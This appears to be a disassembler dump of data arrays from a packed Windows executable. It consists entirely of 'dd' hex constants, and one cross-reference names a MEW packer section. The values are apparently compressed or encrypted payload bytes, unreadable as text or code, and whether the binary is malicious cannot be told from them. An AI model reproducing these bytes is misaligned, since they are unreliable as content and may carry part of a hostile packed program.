		dd 45079B7Eh, 26B26970h, 434F7EB5h, 15D3B4E7h, 28A4A10h
		dd 21726892h, 4A58541Ch, 0C7CE721Fh, 80DC2E7Ah,	7ED2D64h
		dd 0D300484Bh, 0E530B624h, 9F457C42h, 30332484h, 0FCA8FD61h
		dd 7451E709h, 9A842110h, 29F26E5Bh, 0A50DCFE5h,	0A51A037Ah
		dd 6E1015C1h, 6991F607h, 67795153h, 0CD88DB97h,	1C05627Ch
		dd 0F1CA59F3h, 7084EE3h, 0D8BA9033h, 989B3748h,	0D212C4ACh
		dd 6ACF7C7Dh, 9A32E3F8h, 8E202BE3h, 9EE29BF3h, 83CA7086h
		dd 0F0BED3E9h, 62A86AC8h, 0E04C0E71h, 0E63B7D83h, 69D1C06Fh
		dd 84AE94BDh, 5A34C247h, 9635C14Ch, 895C1FF7h, 0BFF11ADAh
		dd 0CC0960CAh, 9A2217B8h, 8FBE9936h, 0C157912Dh, 0D7CDE22Ah
		dd 3841EDC4h, 0B28EC99h, 0F60F1089h, 8D956679h,	28CDAC89h
		dd 1FB02F6Ch, 0C7EB8ADh, 99F564C3h, 1CB2AA57h, 4BCDABCAh
		dd 0BE8A751h, 0D9852370h, 277C1FBDh, 9BDF5B2Fh,	3675B8C0h
		dd 2771AF7Ah, 758854C0h, 57E97AA5h, 0FC6E0A9Fh,	76FE7635h
		dd 0D64F81A1h, 0B8080800h, 171FBA22h, 75EBF359h, 2EF64851h
		dd 8717E553h, 0EA6AB8FFh, 0D9484733h, 8DA9102Ch, 871DFB8Ch
		dd 95263F2Bh, 0E0666CC2h, 0CEEDF104h, 1E853E2Ah, 0D7EA0788h
		dd 655478ADh, 0DE948983h, 0D95DC0A3h, 7D299D83h, 0BDAACCB4h
		dd 10F8340Dh, 491D2D52h, 0A6466CCh, 66D0056Ch, 0C23DFBE7h
		dd 0EB931296h, 2C9278F9h, 0FDB04CB0h, 8F2DF3Fh,	2A6E61C8h
		dd 3E00FE6Bh, 0B793BBDBh, 0BC530931h, 3073187Ch, 3B1B5860h
		dd 7F671067h, 0F9F2D5A5h, 49E01549h, 0A0BD7FC9h, 0EA0000A1h
		dd 6A0E1E5Ah, 0D7B85F41h, 0F93F1C72h, 99DD1DD5h, 0DB4860D7h
		dd 5350B4E4h, 5972A382h, 0E55D664Bh, 0D508AB7Bh, 0A33DC149h
		dd 59F5CFF5h, 6314F10Ch, 443BA8E5h, 41F99EE9h, 95A7D334h
		dd 0BDCA45EDh, 98981BF9h, 36F6576Bh, 99A8EC94h,	0C91F33F3h
		dd 0FFF5CBA1h, 468ED611h, 3206F127h, 0A6D42E8Eh, 0F676A84Fh
		dd 0DFDF28D9h, 38065966h, 0AC15935Bh, 34D6323Bh, 1E83AA94h
		dd 91598B51h, 93EBBADBh, 0A75D3846h, 5FFC8CB7h,	0B9E11EA2h
		dd 23C11527h, 0B57D8B97h, 83E08D22h, 496F0844h,	3B001690h
		dd 0B21770BCh, 0D2B83518h, 76C8D965h, 8347D422h, 353E790Ah
		dd 4F7D568Bh, 872B27D3h, 45D2987Ch, 2152F2BEh, 4E56FD3Ch
		dd 5A64F4D9h, 0D1B57533h, 0FD623A75h, 452A36D8h, 42460965h
		dd 4E5CD3F0h, 0BB00D31Ch, 4149236Dh, 0EBCFA1BBh, 56404FF9h
		dd 45AA2AEAh, 1C45E33Ch, 0ACD211B8h, 7D8D59BEh,	0FF5F0EBBh
		dd 0DD82182Ch, 0F1E907A8h, 0C11C9FEBh, 1AD2FE3Ah, 0A93CA3AEh
		dd 9A8007A0h, 22AD7526h, 6D136241h, 17D186h, 4F797F4Eh
		dd 0AA9CD6B3h, 4AA2EC66h, 7CD6A5DCh, 0E94DBACCh, 84B37646h
		dd 0AA23D81Ch, 603421EEh, 0D1C37D64h, 0AED18E03h, 48E17DE9h
		dd 0A92E0E79h, 3EF4A2D3h, 20A9710Ah, 0B9D7DB62h, 0BBB27F78h
		dd 0A2D8D4BDh, 47D944Ah, 6AB724B7h, 4028F9A5h, 9D1F2774h
		dd 0C49E6211h, 2994FE2Eh, 0BB78097Fh, 332FBDC6h, 0B747974Dh
		dd 0DB24804h, 48177997h, 6756243h, 2635A026h, 0E7714B76h
		dd 95AA38AAh, 0F92F2DAh, 0BC921FBh, 0E91A58C5h,	43F587A9h
		dd 525D1368h, 54D128EBh, 6EC35C6Ch, 22B5870Bh, 3BEF65C6h
		dd 0FDB77B80h, 3F41E4D3h, 1B90AE6Fh, 0A00167D5h, 77DDB390h
		dd 21B62BBFh, 0D65ECA54h, 2D5E7AF3h, 0AFC1268Ch, 0DBD578E7h
		dd 1C3AECE7h, 2E85211Ah, 7BD99D6h, 0FEAD9688h, 473CAB34h
		dd 6F691C31h, 0D2D74CF8h, 9D6D425Ah, 0EF7BB422h, 5BC36755h
		dd 0E54F19B5h, 1A30EC92h, 1A4A86FBh, 5547A273h,	10B7B06Ch
		dd 261DF42Dh, 0F2C0EC5Ah, 8E33B05Ch, 4B988213h,	0C4118B61h
		dd 8EAF194Dh, 0C9BE0BCh, 301F9623h, 44F84B6Eh, 0D519C0D5h
		dd 0C2C898B9h, 0E5A80EA1h, 6C5FC8Ch, 596EC865h,	0B03E5389h
		dd 122CAF32h, 0DF6B1532h, 22AA3A6h, 745AA4F6h, 513C9405h
		dd 0F1405097h, 595AD699h, 6EB9AD2h, 0F1070E9Eh,	480D7847h
		dd 4F9D5BA4h, 0EB5DFF31h, 37EAA906h, 0B7E09BCAh, 84990D0h
		dd 340D4004h, 544305C8h, 0D055D0F2h, 0F1F5D07Ch, 0E2FEC54Eh
		dd 2A53ECE8h, 0AA7EFA33h, 8D1CAEF3h, 5A31011Ah,	9F2DBAA1h
		dd 7FBBEA10h, 932F0CAFh, 0F90EA614h, 13E89038h,	0EA353011h
		dd 714BC6C0h, 45B846F6h, 3E9B242Eh, 54152D21h, 5C94CDECh
		dd 0F174CC4Fh, 8B5FF150h, 0A8C8F29Dh, 0D9ED9568h, 0BB933603h
		dd 3FA6F761h, 554B7342h, 8F62030Bh, 0EB2F26Dh, 737EB05Ah
		dd 67A4988Dh, 0A6A27C63h, 268F4767h, 8E6FD7A0h,	0FAEC01FEh
		dd 2E9F0A18h, 8FCB793h,	0C9B783EAh, 0CBCC0E05h,	4DD7267Eh
		dd 4B4A309Ch, 0C88ED966h, 3F21C586h, 761ECB4Bh,	0A2EB1935h
		dd 66D9E422h, 0E4D9CCC7h, 1E5DA0E8h, 0E3DDCCCBh, 748F75Ch
		dd 41EE7273h, 0EE0A952h, 759EBD4Ah, 0A2287693h,	0EA5A7BE2h
		dd 0DDAC4E2Ah, 0EF7F2198h, 8F8F3B09h, 2F5E538Fh, 700B27CCh
		dd 46397D01h, 946BCB6Dh, 0C3346178h, 0BDCF188Ah, 4708AE3Bh
		dd 8F4EBFBAh, 67152C95h, 0FBBDCB1Ah, 0B6316770h, 93099CC3h
		dd 3F22698Ch, 0EEC5F340h, 807CB370h, 0FA5E0490h, 237D84D2h
		dd 0CCC4CD19h, 8F995214h, 1AE57999h, 0E60151D5h, 0E376C8F9h
		dd 3455E3h, 840C8E23h, 68BFBF2Fh, 147A2190h, 0A8B1062Dh
		dd 2BC5FAADh, 0D6DCE360h, 0A5772148h, 983EBD6Bh, 0E1C7DEF3h
		dd 0A2096D5Bh, 0E5857EFFh, 0A0CF80DDh, 74F5C0Bh, 0A6B53384h
		dd 99A26C71h, 0D8976A4Eh, 1A10750h, 0DFF9E671h,	4CB9FC2Ch
		dd 60952536h, 8E7F710Eh, 2F1B5D88h, 76B32815h, 3BC4B922h
		dd 1B7497DCh, 0F995053Dh, 9098AA58h, 302C2A30h,	4D0FF8EDh
		dd 84A02595h, 0B4D982E5h, 45EAB2A3h, 2125920Dh,	89153669h
		dd 0B7E07438h, 49BFD572h, 4DBA36B2h, 0B67556FAh, 0DDB68788h
		dd 93C97C41h, 0F09A7397h, 5606635h, 727C9310h, 8CCC0B16h
		dd 86368026h, 3674FFD1h, 0EEB0266Ah, 17D7C312h,	59E6DCC7h
		dd 0E05977C2h, 0A5B34765h, 0B7CB3058h, 984D42FDh, 7F3C6E34h
		dd 0AE56557Ah, 0E73AB50Fh, 0FF705901h, 0BD64BEB6h, 5174111Ah
		dd 0E92B666Ch, 0E93ABBADh, 257F23EAh, 7DC31DD5h, 0B3331E62h
		dd 0A0F25E01h, 0F43F71BBh, 590ED913h, 70BB1797h, 0C35BEE35h
		dd 778CEADBh, 4A79975Ch
		dd 650AAF9Bh, 288DEE4Fh, 4D2D1C69h, 0D58EF2A6h,	0B1DA8AA2h
		dd 0FC72D76Bh, 19E519AAh, 788C3D7Ah, 0C434BD71h, 20B6545Bh
		dd 1CF4C43Bh, 88F8CA0Ch, 0A7315F1Ch, 1C4847E0h,	0EF8D70D0h
		dd 0DD49C41Fh, 0FF6E4DB3h, 58FB71C6h, 0B11DA587h, 40B2D2EFh
		dd 37D4CDBBh, 0CED82A9Ah, 120EB3CEh, 42BC444Eh,	6FA83914h
		dd 1A1C1A11h, 18C21B11h, 1448468Fh, 3D2231F0h, 1973A784h
		dd 0F889BA38h, 92AFBA59h, 0D3824871h, 143453FFh, 0C57DBAD2h
		dd 6F03D20Ah, 74BFD1Ah,	0F9AB70E7h, 6E2E757Ch, 8AF2BCCh
		dd 20C2C695h, 1B064A80h, 0DDE74C19h, 6D76787Ch,	93FD565Fh
		dd 3D3A71DDh, 0EEBCA5C6h, 4E577EA5h, 912AD3Bh, 49585EECh
		dd 312452BDh, 7A240B8Ah, 9A9DEED5h, 0EE03E7A7h,	14068D88h
		dd 0D322E6FDh, 60CF61DAh, 0E4795ACCh, 8046E8E6h, 75391883h
		dd 3BA94936h, 0C7CA10B1h, 3FFF4C88h, 0C9035E0Dh, 0C17FB66Dh
		dd 0E4AF40AFh, 5B966D3Dh, 9CD8392Ah, 9CE996C6h,	0B81DAC6Ch
		dd 295C4ECDh, 0A5CEC624h, 0BF5013C5h, 341CD6DAh, 0F6FE7AD7h
		dd 67B69E66h, 408DCC2Ah, 3A047BD4h, 98E65C4Eh, 0C8B4ABA2h
		dd 0CF539386h, 0F08A6EDDh, 99984A4Ah, 67FE271Fh, 51FA269Fh
		dd 0A426763Dh, 28C1DA91h, 58786829h, 920F789Dh,	0D59A0BFEh
		dd 77003B48h, 311CFF69h, 0C61AC082h, 8177A8ACh,	0C5B8452Fh
		dd 10112185h, 0B4E4AE04h, 0BAD5B5CAh, 0B4BBBABFh, 0D82AF6C3h
		dd 55200375h, 8E455BC4h, 934A1C4Fh, 0E0E29F87h,	0CCD2F743h
		dd 25D9CAF0h, 2F83B41Ah, 8531DD19h, 0F346811Eh,	0D3C9533h
		dd 2E28BEECh, 0C7A87802h, 0E9E4E901h, 3F014AACh, 0D39F5F25h
		dd 439518A5h, 4BE62C1Dh, 7E589E7Fh, 70AF8428h, 0BCC2292Bh
		dd 402B62C9h, 9F052992h, 8EAD0158h, 216040AAh, 6F37EA70h
		dd 2BF7AEDh, 4A4845D8h,	61C54336h, 8E7226CCh, 8F3D5962h
		dd 0AA3CFFDEh, 3B265054h, 0E16402AFh, 55DF4E74h, 9C004546h
		dd 43894813h, 5C0E874Dh, 0DC4BC76Dh, 720D1900h,	3E90936Ah
		dd 0CF6DE7FBh, 231D4EF8h, 1310953Ch, 97ECA194h,	54FF3D33h
		dd 0C87C5C86h, 0D1CA1865h, 61A4149Ch, 3782390Ah, 27C9041h
		dd 991805C5h, 0A6F9BCCEh, 0D128D07Bh, 0AF04EA1Eh, 0D23AF929h
		dd 0B2309C6Ch, 33A64E99h, 0A58122F1h, 1897CFFAh, 6CBEF821h
		dd 59EF8752h, 0D2FF5B96h, 11939070h, 6DAE4FCh, 24E6A4F5h
		dd 71CF5A10h, 735B91C4h, 28102CEAh, 4E5ECF3Ch, 0FCD6ADE5h
		dd 4D5D8233h, 0B7FE17CEh, 44DE1F4Ah, 41B44B9Ch,	0BFA6B64Dh
		dd 0EA081E80h, 0DE205B2h, 45F0F5C5h, 0CC646EFDh, 7950387Ah
		dd 36EE6623h
dword_43005C	dd 6D4EBDB6h, 0C5284CDBh, 0A49BE776h, 0C7359538h, 0B2BB616h
					; DATA XREF: MEW:0041A720o
		dd 13AAEF13h, 65C5620Ah, 47BFBC6Fh, 0B91ABEE7h,	343EB163h
		dd 0B5CC4D93h, 278A9F13h, 0ECB22F94h, 0EEE2FE01h, 818665B8h
		dd 268255CDh, 52D2E362h, 0C7EE0866h, 4FD1DC72h,	2BC2ACCCh
		dd 3133E753h, 0BE4C63ABh, 50FC0092h, 0D6696E77h, 10A96E90h
		dd 0F234F26Fh, 8C8BEBD9h, 0B53BF6F6h, 0BA0BE88Ch, 83E408C6h
		dd 0C045D60Bh, 0A682C09Eh, 6FBC1708h, 0F1404491h, 0AC87FBECh
		dd 0F589281Ch, 0AF29AE29h, 4101CB4h, 0D61AC5A7h, 0AAB6BBD3h
		dd 0ADEFDF8Ah, 8A4673CDh, 1FCC52DEh, 0B57EA9CBh, 7A729A61h
		dd 0F773059Ah, 0C61C1C83h, 0CD0D23B3h, 58169B81h, 0F6C6CA41h
		dd 89230B69h, 3E8B83ACh, 0F0828985h, 5696CE46h,	0F56FD0EBh
		dd 0BFB1D125h, 46DF8E07h, 0D6A63B75h, 0BE7DB4B0h, 700EEF71h
		dd 0EC024DE0h, 61DF8602h, 1B3ED2D2h, 4FE296C3h,	52ED8D7Ah
		dd 0C6EF6ACCh, 4F6F0602h, 0A9C8E31Dh, 0BB28C059h, 0C942ACB0h
		dd 2E2FEFC5h, 0A64A36B4h, 6187D566h, 0CBEDF58Fh, 2746F368h
		dd 0E53F6828h, 9450702Dh, 7FD79CCDh, 4816A0DCh,	4D9A1ED1h
		dd 0A88BD2E2h, 1237C969h, 0E721FF91h, 1B1DF7EAh, 8CA814FEh
		dd 36AD8B7h, 3B796490h,	0D193764h, 924F2EA0h, 1B5C9BEDh
		dd 0AC913AFBh, 53CD5E38h, 96EC8200h, 37EDC32Eh,	5D4F64BAh
		dd 8CE173AFh, 91046ECBh, 0BDE039F1h, 0DFBD8D7Fh, 0F70C93D7h
		dd 1127C984h, 8B35BA31h, 53DC6745h, 0A6957D1Ch,	0FC8F7FC7h
		dd 31E21102h, 0EE8E3C8Dh, 146F79B8h, 41F47153h,	6A59E18Dh
		dd 0AB1B5DB7h, 2D40550Eh, 1A1C3467h, 0A79F9BF1h, 3739F2ACh
		dd 78247978h, 56B81A04h, 39005B74h, 5F995426h, 0EC470636h
		dd 0C0B5668Fh, 83EAC463h, 0B11E6B73h, 391FD714h, 8A5C23C0h
		dd 95F60FE9h, 6EE0C87Dh, 7F532F90h, 37BA77FFh, 82F535D0h
		dd 8B670C8Eh, 6195D1E4h, 0C1C3D094h, 0E1675269h, 640D8BAh
		dd 0E7B1CA85h, 7DE0EF57h, 0A453B181h, 0EEB74E5Ah, 0CA3C0CC4h
		dd 71F635D7h, 0E071932Bh, 0C52FC219h, 61E00A3h,	0C1962D38h
		dd 0C407035Fh, 0B607F7BAh, 6CE0EBC8h, 98ADB655h, 0D8BC6AE6h
		dd 2EAC7A34h, 0D7E0551Bh, 0D8D42CB8h, 61BD2C91h, 0C71908C5h
		dd 0B19C67D5h, 0A2A260F7h, 0B6820F4Fh, 82DF9204h, 0E9A4E036h
		dd 5F4E6974h, 0AA1FBD30h, 85A9F528h, 0D0B69882h, 0E3525712h
		dd 0D204C7E6h, 4976766h, 7CED7415h, 0D144A57Eh,	0C2CD7897h
		dd 904589EEh, 0C9257EAEh, 252B5420h, 0D01840B5h, 9876FE36h
		dd 4B0D81C7h, 8F126956h, 73C9553Eh, 785CBA37h, 6DC90946h
		dd 1B5F42B1h, 26779A1h,	8A4851E3h, 0C8350852h, 0F20F3AB6h
		dd 0FFC42CCDh, 6625317Eh, 9494B730h, 95C60BCAh,	759E7F5Eh
		dd 6EAB19B2h, 0EA43D2D9h, 0D05E01F1h, 66C969A8h, 904C2077h
		dd 0C5A88420h, 0BD001261h, 5B85AE7Eh, 5FE014EBh, 0E2D48512h
		dd 4604EE5Fh, 0A9855116h, 80983604h, 984C5077h,	7DB0F474h
		dd 885BF11Ch, 7843DE23h, 7D84CDC6h, 7E451EC2h, 0DEFDBE4Eh
		dd 3FBCEC0Ah, 6E80AA6Bh, 5F613051h, 0A31DD003h,	0D788A9E7h
		dd 0E5169B1Eh, 738B39E3h, 1BDA323Dh, 1488AF09h,	6289DADFh
		dd 5EA05B75h, 32DA1BEBh, 0EC49352h, 0E4B607D5h,	0EEBCD1B9h
		dd 87EB6575h, 35EDE555h, 0B94471D1h, 0BF206DE1h, 12147AFCh
		dd 5643F6AFh, 1C627688h, 0CC4F10C3h, 0AEF57A63h, 0CE83DF5Ch
		dd 0E42BEECFh, 82C89CA5h, 319C70CBh, 0B7D40301h, 5869DC90h
		dd 0D3F1A014h, 271EA53Ah, 0C858C464h, 19A0D2BBh, 1F7AA255h
		dd 0C9260C75h, 42015399h, 17D91316h, 0FA77FA70h, 0B3E07F11h
		dd 165F65D4h, 5B4916DBh, 3F928514h, 0A18B8AE5h,	8D046AFh
		dd 0C1E88DC9h, 13EBBD5Bh, 0AF82C4F1h, 0D4113CADh, 77E15D42h
		dd 281BA134h, 62FF9CD3h, 0BC35586Ah, 314A674Ch,	5E0F4302h
		dd 0DAE7B384h, 3D6B5EA0h, 2254D922h, 0B9C1C573h, 0D2E72DA8h
		dd 223DEEDBh, 307A3BEh,	79935C5Ch, 9C55CADFh, 0C3008D2Ch
		dd 0A29C6BA8h, 0EDA8EF3Ch, 0B87A2F4Eh, 80B7EC9Bh, 0EB2E6CC2h
		dd 24D0DB0Ah, 0A035FDC0h, 0E5AB8313h, 7C32AE7h,	0EB5CC284h
		dd 545EEDABh, 7216A6B9h, 6028347Ch, 0F6CBEED4h,	4D834E61h
		dd 0E3B8EE79h, 230AF452h, 0BCD565E9h, 90D352C9h, 5F389B12h
		dd 0CA3117h, 0A9581461h, 60C2CF39h, 7FB50347h, 0CA59BB7Ah
		dd 0BA529F83h, 51666DB2h, 402C266Ah, 691F82FDh,	0CD9BD257h
		dd 47C6E351h, 604AF035h, 0EEF4C8C6h, 0D0689AEFh, 632A55DEh
		dd 56B9F1F0h, 5FD9A082h, 8EA00516h, 0BEE16BF6h,	2B9F36AFh
		dd 6D077D4Dh, 0E312838Eh, 0D5BF6318h, 0CC39EF82h, 0F66EB94Fh
		dd 0AE57B48h, 2A72962h,	24103715h, 0F502F287h, 0FBBD61FCh
		dd 0FA9FB8B0h, 0BDC6E84Fh, 0BE0EA8F9h, 5F280AAh, 0A5259CA1h
		dd 6BCFA7Fh, 0FA7BDB7Ah, 0EAD0B6DEh, 5894B73Eh,	4A20E32Ah
		dd 2721F4BFh, 69D431C4h, 0BA6BE66Ah, 0C57F0C5Bh, 0DF149A8Fh
		dd 516144EBh, 36FBCF52h, 149F9337h, 22FD6139h, 7C633A94h
		dd 7A6BB031h, 3DDD6831h, 49AF0F9Fh, 0D742AB5Ch,	0E9899453h
		dd 6157B7FFh, 8801449Fh, 0AB0CF45Eh, 0D10DB9A4h, 9D155746h
		dd 0D1A0131Bh, 6D00CE5Ch, 0B9BE410h, 6E0B613Ch,	2018EE9Eh
		dd 0B8931BF7h, 35994F09h, 81DAE7B7h, 423FBE1Ch,	0EA306527h
		dd 5778BC18h, 0BD0AAB7Bh, 57062F3Eh, 29F08796h,	0D051A800h
		dd 0EC8D46D8h, 0D67EE5F9h, 0D6979FCCh, 49AF8B8Dh, 94B9A417h
		dd 82F84BEEh, 0FBBD6E0Ah, 16451DD8h, 63C68609h,	0A66E2C4Fh
		dd 66F4C25Eh, 7D32AA7Bh, 0FAE3DBB6h, 2C288789h,	1FF41A7h
		dd 642E9B05h, 0EB96B719h, 9AA310EDh, 0D7F12345h, 0FDFD1A5Bh
		dd 0BBB3C1E4h, 37836CC3h, 8C80D509h, 0B23ADA4h,	7418452Bh
		dd 0F954E8F8h, 18CC754Fh, 99D30752h, 0F0AA457Eh, 8C742FA1h
		dd 2CC0A56Ch, 1C38CB44h, 284646A2h, 1BDAEC0h, 8EAC4B90h
		dd 2B72AA89h, 2807CDEBh, 0D8912009h, 0A967B6AEh, 978A486Ch
		dd 0CA7DB4D2h, 0BD91AE2Ah, 0FC8398FAh, 0E32A946Ch, 62561C44h
		dd 0E4C2B0E0h, 85D655C3h, 3A63FCFCh, 74151F74h,	7D1F513Dh
		dd 0BABBCBA5h, 89660F70h, 0A5A0F6F3h, 76C81090h, 0D92BEBA8h
		dd 0DE8E22C9h, 734B48B7h, 4B08646h, 3583AB40h, 0A5F5F729h
		dd 20EEECA4h, 0C0905AB8h, 1836FA95h, 0BE9C7CC7h, 67BBAD7Bh
		dd 0C9470A1Ch, 0F6B0585Dh, 0FB4E0F5Eh, 0C97CBF9Ch, 9789DA0Ah
		dd 0A92A392Dh, 0BFA52FBDh, 0A97C17Ah, 0E173C575h, 0E9ADD6BDh
		dd 116547CFh, 5F4AF9CCh, 31E8C3Dh, 0BCEBCC0Eh, 92932442h
		dd 0BC8CB766h, 0DF72E379h, 1813BA16h, 4B291ED3h, 6C3568B3h
		dd 0E5D643B1h, 0C7F334DFh, 583DF24h, 77EF2A3Bh,	364B4CC7h
		dd 0AE9E877Bh, 0B7C90826h, 1CE76299h, 0E173292Bh, 582AE493h
		dd 371EAFCBh, 1F69F505h, 0DDC07F92h, 6A1496E5h,	0FFBDAE08h
		dd 0D6915007h, 0A3D40D03h, 87FB43D8h, 0F811A0B3h, 0FF8A53C0h
		dd 0EB9D4D8Ch, 61D5C142h, 0BF6EEF03h, 0FCF50E70h, 0EA255AE8h
		dd 0D82FEE87h, 0ED78F1A3h, 0C641E1D7h, 0B7B2D86Ch, 0DC15419Bh
		dd 0E097C586h, 6BC8B93h, 898ABEADh, 9A0C65ACh, 13396FC8h
		dd 0A259DF3Dh, 1243736Eh, 68D9C709h, 2AB988E9h,	6A79975Ah
		dd 2D2744FBh, 4C3B160Ch, 0A138F324h, 8A0877BCh,	8F8D270Fh
		dd 95D0FE9Ah, 0F2940E7Bh, 7E35FD90h, 9CDF4E90h,	58530CEEh
		dd 989E4D81h, 0C95DD71Fh, 5261CAB0h, 7BF6D26Bh,	6FB133E1h
		dd 370DA21Dh, 0AA229C6Eh
		dd 1F293973h, 0F1CA6103h, 2789E5AAh, 953D277Fh,	9BDA3948h
		dd 0AED6389Bh, 0F5FB8106h, 0CF748F4Dh, 55BD4D2Fh, 7EE04AECh
		dd 0F7E5355Eh, 9069A60Fh, 43BA087Ch, 1365A6Fh, 0F42B5884h
		dd 883EEED0h, 0A507CDB7h, 52FF3826h, 7AE7B8ACh,	0F530E3BDh
		dd 0CD0F93EAh, 0F0B084E0h, 792CA8A9h, 95457E87h, 0BA82DA8Ah
		dd 1D6295CCh, 2B369ED4h, 30A4F7B1h, 0E351C64Ah,	9E257600h
		dd 0C7C7D568h, 23FCD12h, 292D0CFh, 5A281D25h, 0E0401D53h
		dd 2B0E0ACDh, 0D90AB339h, 21DF336Ch, 566D9E0Fh,	21F1491Dh
		dd 19666E6Eh, 4D5CC35h,	0C61327E2h, 4AC8E933h, 0EB39AB6Ch
		dd 0E671A955h, 0AC14BEE9h, 0AAE26D34h, 842D3462h, 0C208707h
		dd 8BAB3C1Fh, 7A923C36h, 97E4FAE5h, 292F4382h, 1D3469C8h
		dd 8DC5F955h, 4D26D573h, 88FAC8DBh, 0BA0510DCh,	0E04D41B9h
		dd 231350B5h, 0F1DC22C9h, 55478A4Fh, 0A86FD52Bh, 0CA8C84BEh
		dd 633896B5h, 317CD52Ah, 43866BE4h, 0BF43BBB7h,	3664F5F1h
		dd 0F4CB0AFFh, 0EA852120h, 0EA45A6ACh, 110BFC0Bh, 86302B11h
		dd 0C3E96619h, 0C41463C4h, 0EE3041D8h, 20E0F5CFh, 2AC39991h
		dd 0C1F08485h, 54D086C3h, 0F6FDF810h, 0C21B0D0Eh, 70324495h
		dd 0D5A0A10Dh, 305FCC74h, 8D5EA0D2h, 527C3BBEh,	900DEE52h
		dd 0FAB7AE30h, 0F7D4CF65h, 11AD8D83h, 0F7037A8Dh, 94AA580Ah
		dd 1A34B2A6h, 0A51B165Bh, 6A841370h, 4B1340FBh,	0FB9E248Fh
		dd 0C0E31693h, 66ADC690h, 0ABBD93B6h, 6E8B442Dh, 0DA98D95Ah
		dd 0E4E36727h, 2C45D412h, 0E3783Dh, 0CBC29188h,	2A86531Ah
		dd 0B7A949E7h, 17B46BCDh, 0E651C370h, 295029DFh, 0C3F5B6A7h
		dd 6090CEAFh, 0ADE871E3h, 4020BAF0h, 0D6DD3F27h, 138D432Dh
		dd 7E1D0152h, 0D945B6A3h, 97DA6E9Ah, 0B7534A54h, 0A22CF5BDh
		dd 996F8EE3h, 0F799EF1Fh, 87C1891Ah, 0C55FC742h, 0C501F850h
		dd 0C5A648ECh, 0A0F43680h, 0FF946FBEh, 0AA3D190Ah, 17DA266Ah
		dd 363A7417h, 0A897336Fh, 7BE08FABh, 0BA72ED6Bh, 9905F661h
		dd 0C8CFFDF6h, 89C50260h, 0B6B71B67h, 4CE0AB3Fh, 0CBF5C378h
		dd 97056466h, 0B1981601h, 0A08BE1Dh, 0A2806580h, 0CC06D631h
		dd 0C335D5Dh, 1939F02Bh, 0E44EA172h, 0EB50982h,	36FBB79h
		dd 0E6942270h, 80AC2F9h, 0CBA7022Dh, 0C1D3E639h, 3ED8662h
		dd 0F8019B69h, 0FFD0D728h, 3F97A5DBh, 0CF2A5519h, 0FF05037Bh
		dd 8473C962h, 17B2A4Bh,	6A3932Fh, 60E0355Ah, 0FF2126Ch
		dd 0E9999FDDh, 96B76310h, 286ABBD0h, 0EB073B33h, 1124B6BDh
		dd 7CDD79A8h, 0C1699F93h, 0E809B870h, 0DEFF7B36h, 3FB14FD0h
		dd 0A7B1A95Fh, 98A965CBh, 5F50C47Fh, 29577941h,	5A2A62Dh
		dd 9C10E13Ch, 0B8F6EB51h, 0FAFD2F96h, 0C4C3C81Eh, 0A8093CD5h
		dd 0C64885EEh, 6F588E34h, 3B1ED829h, 6E6C6235h,	0E95EF329h
		dd 9EB6E341h, 0DF09693Ah, 35D5F8C2h, 0DFDF5DE8h, 0DA3DC23Dh
		dd 0C3A84A03h, 0A5265184h, 0CADD6B17h, 0BF2BF75Dh, 0AE6C1DFCh
		dd 28875733h, 0EA66CD2h, 0CB44C753h, 0AB265D4Ch, 0A5A670FDh
		dd 9BC96BB2h, 545F152Dh, 0C07841D3h, 0ED5056A8h, 0C25A057Ch
		dd 0D110EC99h, 6AB6280h, 0FB69F9AEh, 2FE67470h,	327E75B7h
		dd 0D1734714h, 1333BE72h, 369300B7h, 0AC0D1B22h, 53805600h
		dd 0C19FAEABh, 41E80F79h, 0DF957A98h, 1B3A8A1Eh, 0CAAA58DEh
		dd 2CF76C3Bh, 0F5821924h, 0A62B0293h, 32616C6Ch, 0AAA0D478h
		dd 0E10A2CC2h, 0AA84C384h, 0D2E8A2CBh, 0D7F88DC8h, 0C56D2DFEh
		dd 0A506759Fh, 0C6ABCC3Ah, 0CFEBFF70h, 774ED3BBh, 1B4FE1E6h
		dd 2528D936h, 0A5A3DBB9h, 3C8D156Dh, 960A31Fh, 0A50EA842h
		dd 0A10779E7h, 0B335F36Bh, 6FB354D4h, 71D90C91h, 0C430FB39h
		dd 0D2B64FB0h, 0B8BDBDA1h, 18F79FAFh, 400B0A27h, 190E32D7h
		dd 568E961h, 8987ECB8h,	0D5A6BE5Eh, 65161F10h, 0D0E573F6h
		dd 40546EECh, 261BD191h, 0BC8A4C1Bh, 0F751972Dh, 0A2E79BDCh
		dd 0BD5C6AD7h, 8F68ABE1h, 888AA026h, 42A6F3E1h,	6ACFA633h
		dd 6BDB0B19h, 0B7EE28DCh, 457DDADCh, 5AB20FC7h,	2F5B84EFh
		dd 4742DE4Bh, 845CBCDFh, 0BB3C764h, 0A7D863D2h,	9E247CE7h
		dd 13DF081Ah, 0D54071EAh, 0A9814E93h, 0C7AD43AEh, 18A62B57h
		dd 0D5BBABCCh, 74FCA0D6h, 0A65A063Bh, 0DDB0D71Dh, 9AFCCAEAh
		dd 2D8CD50Dh, 67BFF7DFh, 0FEE5FCA5h, 50F6DB95h,	6FDC4ADBh
		dd 571CE2ABh, 62E35020h, 0F91BAFD7h, 973F11Eh, 0B47CBFB7h
		dd 0C59863F7h, 0E5CAB9CDh, 0F8E23BA4h, 0F4B46F1Ch, 88459460h
		dd 0E450604Fh, 8C5FC332h, 482F885Eh, 39806127h,	99B1F244h
		dd 5FB57DF2h, 0BB300A2Ah, 0A30E36F8h, 68415865h, 0F8C9168h
		dd 7844F03Fh, 63FB448Ch, 47EEAE1Dh, 1F21CFDBh, 8F3D1532h
		dd 0B920C463h, 7ED16250h, 4323290Ah, 0B42710C9h, 35EA6314h
		dd 515E8F96h, 7AF094C5h, 0C91191C4h, 0F851C0D6h, 0F917133Eh
		dd 5F0D369Ch, 8972323Fh, 3B3B7018h, 0F2536286h,	5BB948D5h
		dd 0B32FD0CDh, 276228B5h, 0EDCB1D69h, 88EF9650h, 0F6EC476Ch
		dd 4D58F075h, 8183084Bh, 3F36F7DBh, 5218C400h, 9104939Dh
		dd 8AE609B0h, 90CAE2C6h, 0A2EFD82h, 6654C190h, 43B623AAh
		dd 0E3BDD4E7h, 2DD2D231h, 1EF7147Fh, 2AC9CDDh, 790DDF26h
		dd 8AD70671h, 65A69F20h, 10B0BC7Dh, 1A60FA23h, 98DDC330h
		dd 19E53E30h, 0D22E9137h, 9C9C9809h, 5EBE59A8h,	9C949C96h
		dd 91644878h, 8F080B45h, 0C225759h, 0CACF2F16h,	0BBE3BE0Dh
